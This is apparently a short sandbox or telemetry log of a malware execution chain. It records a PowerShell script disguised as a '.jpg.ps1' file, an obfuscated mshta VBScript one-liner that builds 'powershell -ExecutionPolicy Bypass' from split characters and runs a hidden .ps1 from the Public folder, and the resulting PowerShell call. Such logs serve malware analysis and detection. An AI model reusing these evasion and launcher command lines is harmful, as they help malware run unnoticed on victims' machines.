powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\wMaiUQzBqvXzMnnb.jpg.ps1
656mshta.exe mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""p"+"o"+"w"+"e"+"r"+"s"+"h"+"e"+"l"+"l -E"+"x"+"e"+"c"+"u"+"t"+"i"+"o"+"n"+"P"+"o"+"l"+"i"+"c"+"y B"+"y"+"p"+"a"+"s"+"s & 'C"+":"+"\"+"U"+"s"+"e"+"r"+"s"+"\"+"P"+"u"+"b"+"l"+"i"+"c"+"\fLyYUnbkOMvmwlWQ"+".p"+"s"+"1'"", 0:close")
2228powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\fLyYUnbkOMvmwlWQ.ps1'
7940